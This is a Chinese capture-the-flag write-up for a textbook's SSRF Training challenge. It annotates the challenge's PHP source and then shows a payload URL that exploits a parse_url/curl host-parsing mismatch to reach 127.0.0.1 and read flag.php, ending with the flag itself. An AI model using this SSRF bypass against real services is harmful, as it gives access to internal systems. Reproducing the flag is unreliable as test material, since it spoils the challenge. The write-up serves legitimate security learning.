《从0到1:CTFer成长之路》书籍配套题目 [第二章 web进阶]SSRF Training

进入环境

点进 intersting challenge
这是P84到P85的原题,但是我书也看的云里雾里的
书上只用了三行话就解释完了
我还是一句一句看吧
开始代码审计

<?php highlight_file(__FILE__);//用PHP高亮显示当前的文件function check_inner_ip($url) //获取url的域名,将域名转为ip,然后再判断这个ip是否是私有地址{ $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); //返回$url的匹配,值将是 0 次(不匹配)或 1 //^从开头开始匹配 //? 匹配0或1个正好在它之前的那个字符。注意:这个元字符不是所有的软件都支持的 //( )标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \) //.匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \. //*匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \* //$:从字符串末尾进行匹配 if (!$match_result) { die('url fomat error'); //如果url不符合正则表达式 } try { $url_parse=parse_url($url); //分解出一个URL的各个部 // $url_parse是一个数组 } catch(Exception $e) { die('url fomat error'); return false; } $hostname=$url_parse['host']; //hostname 为主机名,也就是域名 $ip=gethostbyname($hostname); //通过域名获取IP地址 $int_ip=ip2long($ip); //ip2long:将IPv4的ip地址(以小数点分隔形式)转换为int return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; //判断是否是私有地址,是则这个函数就返回1} function safe_request_url($url) { if (check_inner_ip($url)) //判断url是否是私有地址 { echo $url.' is inner ip'; } else { $ch = curl_init(); //初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用 curl_setopt($ch, CURLOPT_URL, $url); //访问的域名 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // curl_setopt($ch, CURLOPT_HEADER, 0); // //curl_setopt函数参数解释:https://www.cnblogs.com/lilyhomexl/p/6278921.html $output = curl_exec($ch); //抓取URL并把它传递给浏览器 $result_info = curl_getinfo($ch); //php curl请求在curl_exec()函数执行之后,可以使用curl_getinfo()函数获取CURL请求输出的相关信息 //[php curl curl_getinfo()返回参数详解](https://www.cnblogs.com/zqifa/p/php-curl-3.html) if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); // 关闭cURL资源,并且释放系统资源 var_dump($output); //执行 } } $url = $_GET['url']; if(!empty($url)){ safe_request_url($url); }

parse_url

curl_getinfo

payload

http://c83f8e90-2d41-465e-b179-6fdf4b9bfa8f.node3.buuoj.cn/challenge.php/?url=http://a:@127.0.0.1:80@baidu.com/flag.php

传入的URL为http://a:@127.0.0.1:80@baidu.com,那么进入 safe_request_url检测之后 parse_url取到的host是baidu.com,

而curl取到的是127.0.0.1:80,所以就实现了检测IP时候是一个正常的一个网站域名而实际curl请求的时候是构造的127.0.0.1

“n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}”
得出了flag

(0)

相关推荐